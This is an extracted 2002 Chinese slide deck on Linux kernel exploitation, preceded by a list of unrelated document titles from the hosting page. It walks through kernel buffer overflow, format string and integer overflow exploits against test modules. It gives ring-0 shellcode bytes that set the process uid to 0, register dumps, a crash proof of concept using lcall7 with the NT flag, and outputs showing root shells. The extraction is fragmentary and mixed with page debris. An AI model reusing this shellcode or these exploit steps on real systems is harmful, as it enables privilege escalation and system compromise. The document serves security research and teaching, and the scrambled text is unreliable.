Linux kernel exploit研究和探索

Similar documents
1 CPU interrupt INT trap CPU exception

A Preliminary Implementation of Linux Kernel Virus and Process Hiding

ROP_bamboofox.key

06721 main() lock pick proc() restart() [2][4] MINIX minix2.0 GDT, IDT irq table[] CPU CPU CPU CPU (IDTR) idt[] CPU _hwint00:! Interrupt

浙江大学本科论文模板

漏 洞 攻 防 EXPLOIT ATTACK & DEFENCE 栏 目 编 辑 脚 本 小 子 scriptsboy@hacker.com.cn HEAD 部 分 大 小 当 然 也 就 是 固 定 的 18200H 如 果 要 提 取 出 HEAD, 我 们 可 以 选 中 前 18200H 字

Kernel Kernel Kernel Kernel load estimator runqueue kernel/sched.

1 LINUX IDE Emacs gcc gdb Emacs + gcc + gdb IDE Emacs IDE C Emacs Emacs IDE ICE Integrated Computing Environment Emacs Unix Linux Emacs Emacs Emacs Un

<4D F736F F D20C7B6C8EBCABDCFB5CDB3C9E8BCC6CAA6B0B8C0FDB5BCD1A75FD1F9D5C22E646F63>

untitled

2. 过程 这里主要使用 gdb 来拆炸弹 当然, 用其他工具来辅助, 应该可以更高效地完成 (gdb) echo ======================= Defuse Phase_1 ==============================\n\n ==================

华恒家庭网关方案

Microsoft PowerPoint - os_4.ppt

于是 run, 输入, 果然 :Phase 1 defused. How about the next one? 然后来看 phase2: 08048bb6 <phase_2>: 8048bb6: 55 push %ebp 8048bb7: 89 e5 mov %esp,%ebp 8048bb9:


发展党员材料填写参考(上网).doc

2 拥 有 合 法 知 识 产 权 且 无 知 识 产 权 纠 纷 ; 3 符 合 本 省 市 地 区 产 业 发 展 方 向, 具 有 一 定 创 新 性 ; 4 经 营 规 范, 社 会 信 誉 良 好, 无 不 良 记 录 ; 5 吸 纳 就 业 2 人 及 以 上 ( 不 含 项 目 发 起

untitled

09

CC213

H1428

, 7, Windows,,,, : ,,,, ;,, ( CIP) /,,. : ;, ( 21 ) ISBN : -. TP CIP ( 2005) 1

,768 32,767 32K JMP Jnnn (386+) LOOP CALL [Label:] JMP short/near/far address L10: jmp jmp L20: L10 L20

幻灯片 1

目 录

穨推動學校資訊科技教育經驗分享.PDF

C/C++语言 - C/C++数据

ebook8-30

1

投 身 基 层 建 功 立 业 政 治 部 主 任 李 继 耐 上 将 的 批 示 ( 照 片 ) 国 防 生, 梦 想 之 翼 能 飞 多 远? 对 清 华 大 学 国 防 生 走 基 层 之 路 的 追 踪 与 思 考 清 华 学 子 国 防 生 岱 天 荣 摄 - 1 -

FY.DOC

1 Project New Project 1 2 Windows 1 3 N C test Windows uv2 KEIL uvision2 1 2 New Project Ateml AT89C AT89C51 3 KEIL Demo C C File

> u eip l 3 002f2aa9 90 nop 002f2aaa 90 nop >!chkimg -d -lo 1 ping // 检查文件是否被篡改? 002f2aa7-002f2aaa 4 bytes - ping!maincrtstartup [ e :f0 cc 9

untitled

学习MSP430单片机推荐参考书

( ) 001 ( 131 ) : 1- ISBN X/I 1091 :

标准化党支部建设

int *p int a 0x00C7 0x00C7 0x00C int I[2], *pi = &I[0]; pi++; char C[2], *pc = &C[0]; pc++; float F[2], *pf = &F[0]; pf++;

《礼仪全书 餐饮礼仪》

一 学 校 基 本 情 况 目 录 二 部 门 预 算 报 表 ( 一 ) 收 支 总 表 ( 二 ) 收 入 总 表 ( 三 ) 支 出 总 表 ( 四 ) 财 政 拨 款 支 出 表 三 部 门 预 算 报 表 说 明 ( 一 ) 收 支 总 表 说 明 ( 二 ) 收 入 总 表 说 明 (

目 录 一 学 校 基 本 情 况 二 2016 年 预 算 报 表 ( 一 ) 中 南 大 学 收 支 预 算 总 表 ( 二 ) 中 南 大 学 收 入 预 算 表 ( 三 ) 中 南 大 学 支 出 预 算 表 ( 四 ) 中 南 大 学 财 政 拨 款 支 出 预 算 表 三 2016 年

信息参考

Microsoft Word - 15dbtb007

目录

概述

海 南 冯 琳 峰 海 南 省 锅 炉 压 力 容 器 与 特 种 设 备 检 验 所 海 南 省 定 安 县 白 蒙 路 47 号 信 XC 内 蒙 古 冯 磊 赤 峰 市 特 种 设 备 检 验 所 内 蒙 古 赤 峰 市 红 山 区 八 里 铺 油 库 路

ICD ICD ICD ICD ICD

1 CPU

第 2 頁 建 議 2. 我 們 建 議 由 2013 年 7 月 1 日 起, 把 事 務 局 1 個 首 長 級 乙 級 政 務 官 編 外 職 位 ( 首 長 級 薪 級 第 3 點 ) 轉 為 常 額 職 位 ; 以 及 保 留 1 個 首 長 級 丙 級 政 務 官 編 外 職 位 ( 首

今天刚发现的, 比较简单, 于是就来简单分析下吧 该感染样本很简单, 新加了个区段放病毒执行代码, 执行病毒代码, 最后跳回原入口点来执行原文件 下面就是感染后的代码的简单分析 : ; =============== S U B R O U T I N E =====================

的 開 銷, 請 務 必 先 和 家 裡 討 論 後 再 做 決 定 二 研 修 學 校 簡 介 卡 內 基 美 隆 大 學 (Carnegie Mellon University), 位 於 賓 州 匹 茲 堡 會 選 擇 來 這 裡 交 換, 我 相 信 大 部 分 的 人 都 已 經 知 道


保母人員丙級應檢資料第二部份 doc

<4D F736F F D20BBFAB5E7BFD8D6C6B9A4B3CCD7A8D2B5BFCEB3CCC9E8BCC6D6B8B5BCB4F3B8D92E646F63>

高 雄 市 議 會 公 報 4 卷 記 錄 : 李 專 員 侑 珍 核 稿 : 江 專 門 委 員 聖 虔 一 主 持 人 李 議 員 雅 靜 宣 布 公 聽 會 開 始, 介 紹 與 會 來 賓 並 說 明 公 聽 會 要 旨 二 相 關 單 位 說 明 ( 一 ) 高 雄 市 政 府 衛 生 局

Bus Hound 5

C 1 # include <stdio.h> 2 int main ( void ) { 4 int cases, i; 5 long long a, b; 6 scanf ("%d", & cases ); 7 for (i = 0;i < cases ;i ++) 8 { 9

c_cpp

内 容 培 训 目 标 基 础 知 识 常 用 监 控 命 令 在 实 战 中 综 合 运 用 2

程序 linux/include/linux/math_emu.h 1 /* 2 * linux/include/linux/math_emu.h 3 * 4 * (C) 1991 Linus Torvalds 5 */ 6 #ifndef _LINUX_MATH_EMU_H 7 #de


Microsoft PowerPoint - C15_LECTURE_NOTE_04.ppt

Simulator By SunLingxi 2003

Microsoft PowerPoint - C15_LECTURE_NOTE_04.ppt

第二場

zt

Microsoft Word - PS2_linux_guide_cn.doc

2001年年度报告正式.PDF

考 試 日 期 :2016/04/24 教 室 名 稱 :602 電 腦 教 室 考 試 時 間 :09: 二 技 企 管 一 胡 宗 兒 中 文 輸 入 四 技 企 四 甲 林 姿 瑄 中 文 輸 入 二 技 企 管 一

untitled

untitled

/ / (FC 3)...

ebook15-10

《计算机应用基础》学习材料(讲义)



本文由筱驀釹贡献

ebook35-14

"\x33\x31\x43\x17\x83\xeb\xfc\x03\x6b\x0c\xa6\x2b\x97\xda\xaf" "\xd4\x67\x1b\xd0\x5d\x82\x2a\xc2\x3a\xc7\x1f\xd2\x49\x85\x93" "\x99\x1c\x3d\x27\xef\x8

头部

年会奖品

Microsoft Word 杨局长在2015年度全市卫生工作会议上的讲话.doc

(7月专刊)闵行卫生计生动态2016年第11期_s_.docx

中 央 警 察 大 學 九 十 八 年 警 佐 班 第 二 十 九 期 ( 第 二 類 ) 入 學 考 試 憲 法 題 解 壹 單 一 選 擇 題 : (B) 總 統 依 憲 法 之 規 定, 行 使 締 結 條 約 之 權 關 於 憲 法 所 稱 之 條 約, 以 下 敘 述 何 者 錯 誤?(A

院讯第十七期.doc

北京民办教育信息

第11章 可调内核参数

Microsoft Word - 把时间当作朋友(2011第3版)3.0.b.06.doc

<4D F736F F D20B1D0A87CB3A1C5E9A87CB870B8C9A755B1C0B0CABEC7AED5C5E9A87CB942B0CAB56FAE69B867B64FADECAB682E646F6378>

8

RTX3.2.0标准版 - 技术白皮书

2 12

第一章 概论

Layout 1

C PICC C++ C++ C C #include<pic.h> C static volatile unsigned char 0x01; static volatile unsigned char 0x02; static volatile unsigned cha

,750CC ( ) T101 98T102 98T202CVCS 98T

Windows 2000 Server for T100

礼仪玉和葬玉

基于ECO的UML模型驱动的数据库应用开发1.doc

Transcription:

Linux kernel exploit DOC alert7 <alert7@xfocus.org> PPT e4gle <e4gle@whitecell.org> 2002-12-2 1

2002-12-2 2

Linux kernel exploit kernel exploit exploit exploit exploit (Kernel Buffer Overflow) (Kernel Format String vulnerability) (Kernel Integer Overflow) kfree() (Kernel Kfree Parameter Corruption) (Kernel Program Logic Vulnerability) TCP/IP 2002-12-2 3

shellcode exploit exploit mail alert7@xfocus.org e4gle@whitecell.org 2002-12-2 4

kernel exploit Linux kernel ring0 kernel 0 uid=0 uid=0 kernel linux 2002-12-2 5

exploit 2002-12-2 6

exploit linux 2002-12-2 7

exploit INT TSS SS ESP SS ESP EFLAGS CS EIP ( ) IDT CS EIP 2002-12-2 8

exploit ESP task static inline struct task_struct * get_current(void) { } struct task_struct *current; asm ("andl %%esp,%0; ":"=r" (current) : "0" (~8191UL)); return current; #define current get_current() 2002-12-2 9

exploit CPU 2002-12-2 10

exploit kernel BOF kernel format string vul (kernel integer overflow) kfree() (kernel kfree parameter corruption) kernel program logic error TCP/IP 2002-12-2 11

exploit 2002-12-2 12

Kernel Buffer OverFlow kbof.c lkm kbof.c [root@redhat73 test]# gcc -O3 -c -I/usr/src/linux/include kbof.c [root@redhat73 test]# insmod -f kbof.o Warning: kernel-module version mismatch kbof.o was compiled for kernel version 2.4.18-3custom while this kernel is version 2.4.18-3 Warning: loading kbof.o will taint the kernel: no license Warning: loading kbof.o will taint the kernel: forced load [root@redhat73 test]# lsmod grep kbof kbof 1040 0 (unused) 2002-12-2 13

Kernel Buffer OverFlow Kernel BOF RETLOC RETADDR shellcode Shellcode 2002-12-2 14

Kernel Buffer OverFlow RETLOC kbof_exploit1.c [alert7@redhat73 alert7]$./kbof_exploit1 Segmentation fault kbof_exploit, oops 2002-12-2 15

Kernel Buffer OverFlow OOPS Oct 24 09:33:19 redhat73 kernel: Unable to handle kernel paging request at virtual address 41414141 Oct 24 09:33:19 redhat73 kernel: printing eip: Oct 24 09:33:19 redhat73 kernel: 41414141 Oct 24 09:33:19 redhat73 kernel: *pde = 00000000 Oct 24 09:33:19 redhat73 kernel: Oops: 0000 Oct 24 09:33:19 redhat73 kernel: kbof pcnet32 mii usb-uhci usbcore BusLogic sd_mod scsi_mod Oct 24 09:33:19 redhat73 kernel: CPU: 0 Oct 24 09:33:19 redhat73 kernel: EIP: 0010:[<41414141>] Tainted: PF Oct 24 09:33:19 redhat73 kernel: EFLAGS: 00000282 Oct 24 09:33:19 redhat73 kernel: Oct 24 09:33:19 redhat73 kernel: EIP is at Using_Versions [] 0x41414140 (2.4.18-3) Oct 24 09:33:19 redhat73 kernel: eax: 00000400 ebx: c3877c00 ecx: 00000000 edx: bffffb60 Oct 24 09:33:19 redhat73 kernel: esi: 41414141 edi: 41414141 ebp: 41414141 esp: c18effa4 Oct 24 09:33:19 redhat73 kernel: ds: 0018 es: 0018 ss: 0018 Oct 24 09:33:19 redhat73 kernel: Process kbof_exploit (pid: 694, stackpage=c18ef000) Oct 24 09:33:19 redhat73 kernel: Stack: 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 Oct 24 09:33:19 redhat73 kernel: 41414141 41414141 41414141 41414141 41414141 41414141 41414141 41414141 Oct 24 09:33:19 redhat73 kernel: 41414141 41414141 41414141 41414141 41414141 41414141 41414141 Oct 24 09:33:19 redhat73 kernel: Call Trace: Oct 24 09:33:19 redhat73 kernel: Oct 24 09:33:19 redhat73 kernel: Code: Bad EIP value. 2002-12-2 16

Kernel Buffer OverFlow objdump kbof 00000000 <test>: 0: 55 push %ebp 1: 89 e5 mov %esp,%ebp 3: 57 push %edi 4: 56 push %esi 5: 81 ec 00 01 00 00 sub $0x100,%esp b: 8b 45 08 mov 0x8(%ebp),%eax e: 89 c1 mov %eax,%ecx 10: 8b 75 0c mov 0xc(%ebp),%esi 13: 8d bd f8 fe ff ff lea 0xfffffef8(%ebp),%edi 19: c1 e9 02 shr $0x2,%ecx 1c: f3 a5 repz movsl %ds:(%esi),%es:(%edi) 1e: a8 02 test $0x2,%al 20: 74 02 je 24 <test+0x24> 22: 66 a5 movsw %ds:(%esi),%es:(%edi) 24: a8 01 test $0x1,%al 26: 74 01 je 29 <test+0x29> 28: a4 movsb %ds:(%esi),%es:(%edi) 29: 81 c4 00 01 00 00 add $0x100,%esp 2f: 5e pop %esi 30: 5f pop %edi 31: 5d pop %ebp 32: c3 ret 33: 90 nop 2002-12-2 17

Kernel Buffer OverFlow EIP,EBP ESP new_function xxxx EIP EBP EDI ESI BUF[256] ( ) code len 2002-12-2 ( ) 18 s+4 ebp s 256 bytes

Kernel Buffer OverFlow retloc code[256+8+4] kbof_exploit1.c, code[256+8+4] B [alert7@redhat73 alert7]$./kbof_exploit2 Segmentation fault 2002-12-2 19

Kernel Buffer OverFlow Oct 24 10:11:10 redhat73 kernel: <1>Unable to handle kernel paging request at virtual address 42424242 Oct 24 10:11:10 redhat73 kernel: printing eip: Oct 24 10:11:10 redhat73 kernel: 42424242 Oct 24 10:11:10 redhat73 kernel: *pde = 00000000 Oct 24 10:11:10 redhat73 kernel: Oops: 0000 Oct 24 10:11:10 redhat73 kernel: kbof pcnet32 mii usb-uhci usbcore BusLogic sd_mod scsi_mod Oct 24 10:11:10 redhat73 kernel: CPU: 0 Oct 24 10:11:10 redhat73 kernel: EIP: 0010:[<42424242>] Tainted: PF Oct 24 10:11:10 redhat73 kernel: EFLAGS: 00000282 Oct 24 10:11:10 redhat73 kernel: Oct 24 10:11:10 redhat73 kernel: EIP is at Using_Versions [] 0x42424241 (2.4.18-3) Oct 24 10:11:10 redhat73 kernel: eax: 00000110 ebx: c2a69e00 ecx: 00000000 edx: bffff870 Oct 24 10:11:10 redhat73 kernel: esi: 41414141 edi: 41414141 ebp: 41414141 esp: c2ba1fa4 Oct 24 10:11:10 redhat73 kernel: ds: 0018 es: 0018 ss: 0018 Oct 24 10:11:10 redhat73 kernel: Process kbof_exploit (pid: 730, stackpage=c2ba1000) Oct 24 10:11:10 redhat73 kernel: Stack: 00000110 c2a69e00 00000110 c2a69e00 c2ba0000 40013020 bffff738 c0108923 Oct 24 10:11:10 redhat73 kernel: 00000110 bffff760 00000000 40013020 bffffbd4 bffff738 000000f0 0000002b Oct 24 10:11:10 redhat73 kernel: 0000002b 000000f0 080484f8 00000023 00000286 bffff730 0000002b Oct 24 10:11:10 redhat73 kernel: Call Trace: [<c0108923>] system_call [kernel] 0x33 Oct 24 10:11:10 redhat73 kernel: Oct 24 10:11:10 redhat73 kernel: Oct 24 10:11:10 redhat73 kernel: Code: Bad EIP value. EIP 0X42424242(B) 2002-12-2 20

Kernel Buffer OverFlow RETADDR shellcode, 2002-12-2 21

Kernel Buffer OverFlow SHELLCODE ESP TASK uid=0 0xb8,0x00,0xe0,0xff,0xff, /*mov $0xffffe000,%eax*/ 0x21,0xe0, /*and %esp,%eax*/ 0xc7,0x80,0x28,0x01,0x00,0x00,0x00,0x00,0x00,0x00, /*movl $0x0,0x128(%eax) */ 2002-12-2 22

Kernel Buffer OverFlow retloc retaddr kbof_exploit2.c 2002-12-2 23

Kernel Buffer OverFlow ROOT shell, 2002-12-2 24

Kernel Buffer OverFlow uid 0 UID 0 kbof_exploit3.c 2002-12-2 25

Kernel Buffer OverFlow #define alloc_task_struct() ((struct task_struct *) get_free_pages(gfp_kernel,1)) iret esp 2002-12-2 26

Kernel Buffer OverFlow iret 0xc31e9fa4: 0x00000110 0xc3168000 0x00000110 0xc3168000 0xc31e9fb4: 0xc31e8000 0x40013020 0xbffff738 0xc0108923 0xc31e9fc4: 0x00000110 0xbffff760 0x00000000 0x40013020 0xc31e9fd4: 0xbffffbd4 0xbffff738 0x000000f0 0x0000002b 0xc31e9fe4: 0x0000002b 0x000000f0 0x0804859c 0x00000023 0xc31e9ff4: 0x00000286 0xbffff730 0x0000002b 0x00000000 0x8048xx 0x00000023 EIP CS OK 0x00000023 kbof_exploit4.c 2002-12-2 27

Kernel Buffer OverFlow [alert7@redhat73 alert7]$./kbof_exploit5 code addr is:0xbffff760 Segmentation fault (core dumped) 2002-12-2 28

Kernel Buffer OverFlow #0 0x080485ce in new_function () (gdb) i reg eax 0xc298ffec -1030160404 ecx 0x0 0 edx 0xbffff870-1073743760 ebx 0x23 35 esp 0xbffff730 0xbffff730 ebp 0x41414141 0x41414141 esi 0x41414141 1094795585 edi 0x41414141 1094795585 eip 0x80485ce 0x80485ce eflags 0x286 646 cs 0x23 35 ss 0x2b 43 ds 0x0 0 es 0x0 0 fs 0x0 0 gs 0x0 0 (gdb) x/i $eip 0x80485ce <new_function+22>: mov %eax,0xfffffff8(%ebp) EBP kbof_exploit5.c 2002-12-2 29

Kernel Buffer OverFlow [alert7@redhat73 alert7]$./kbof_exploit6 code addr is:0xbffff760 Segmentation fault (core dumped) 2002-12-2 30

Kernel Buffer OverFlow eax 0x1 1 ecx 0x42130f08 1108545288 edx 0xbffffbdc -1073742884 ebx 0x4213030c 1108542220 esp 0xbffffb68 0xbffffb68 ebp 0xbffffb68 0xbffffb68 esi 0x40013020 1073819680 edi 0xbffffbd4-1073742892 eip 0x80483d3 0x80483d3 eflags 0x292 658 cs 0x23 35 ss 0x2b 43 ds 0x2b 43 es 0x2b 43 fs 0x0 0 gs 0x0 0 ds es 2002-12-2 31

Kernel Buffer OverFlow [alert7@redhat73 alert7]$./kbof_exploit7 code addr is:0xbffff760 sh-2.05a# id uid=0(root) gid=500(alert7) groups=500(alert7) 2002-12-2 32

kformat.c 2002-12-2 33

kernel format string vuln exploit kernel printf() %n RETLOC RETADDR 2002-12-2 34

kernel printf() %n kernel src %n %hn $ 2002-12-2 35

RETLOC KERNEL RETLOC head.s 2002-12-2 36

ENTRY(system_call) pushl %eax # save orig_eax SAVE_ALL GET_CURRENT(%ebx) testb $0x02,tsk_ptrace(%ebx) # PT_TRACESYS jne tracesys cmpl $(NR_syscalls),%eax jae badsys call *SYMBOL_NAME(sys_call_table)(,%eax,4) movl %eax,eax(%esp) # save the return value ENTRY(ret_from_sys_call) cli # need_resched and signals atomic test cmpl $0,need_resched(%ebx) jne reschedule cmpl $0,sigpending(%ebx) jne signal_return restore_all: RESTORE_ALL sys_call_table /porc/ksyms 2002-12-2 37

[alert7@redhat73 alert7]$ cat /proc/ksyms grep sys_call_table c02c209c sys_call_table_rdfdb18bd 241 sys_call_table+241*4 SHELLCODE 2002-12-2 38

SHELLCODE %hn shellcode mmap() ld 0x08048000 0 2002-12-2 39

kformat_exploit1.c 2002-12-2 40

retloc %len%n retloc sys_call_table+241*4 c02c209c sys_call_table_rdfdb18bd retloc 0xC02C2460 shellcode shellcode_addr len shellcode_addr-4 2002-12-2 41

[alert7@redhat73 alert7]$./kformat_exploit shellcode addr is:0x17ae shell addr is 0x1780 `$,?6058p%nsh-2.05a# id uid=0(root) gid=500(alert7) groups=500(alert7) sh-2.05a# Ok 2002-12-2 42

kinteger.c len if (len > 256) len = 256; strncpy_from_user LEN exploit kinteger_exploit.c [alert7@redhat73 alert7]$./kinteger_exploit sh-2.05a# id uid=0(root) gid=500(alert7) groups=500(alert7) 2002-12-2 43

kfree() kfree.c kfree() kfree() exploit kfree() 2002-12-2 44

BUGTRAQ ID 6115 kernel 2.4.x Linux TF linux lcall7, lcall27, EFLAGS NT TF 2002-12-2 45

Exploit #define MSUX "mov $0x100,%eax\npushl %eax\nmov $0x1,%eax\npopfl\nlcall $7,$0" redhat 7.3 //int NT_MASK = 0x00004000; int main( void ) { asm (" mov $0x00004000,%eax # NT pushl %eax popfl lcall $7,$0 "); return 1; } 2002-12-2 46

2002-12-2 47 EFLAGS EFLAGS NT TF 0 EFLAGS NT TF EFLAGS NT 1 lcall NT 1 IRET TSS

TCP/IP TCP/IP Tcp/ip exploit BH 2002-12-2 48

TCP/IP TCP/IP exploit RETLOC SHELLCODE SHELLCODE 1 RETLOC 2 SHELLCODE2 SHELLCODE2 2002-12-2 49

TCP/IP kipstack.c 1 80386 2 linux kernel 2.4.18 3 http://www.linuxforum.net 4 LSD kernvuln-1.0.2 http://lsd-pl.net/ 2002-12-2 50

2002-12-2 51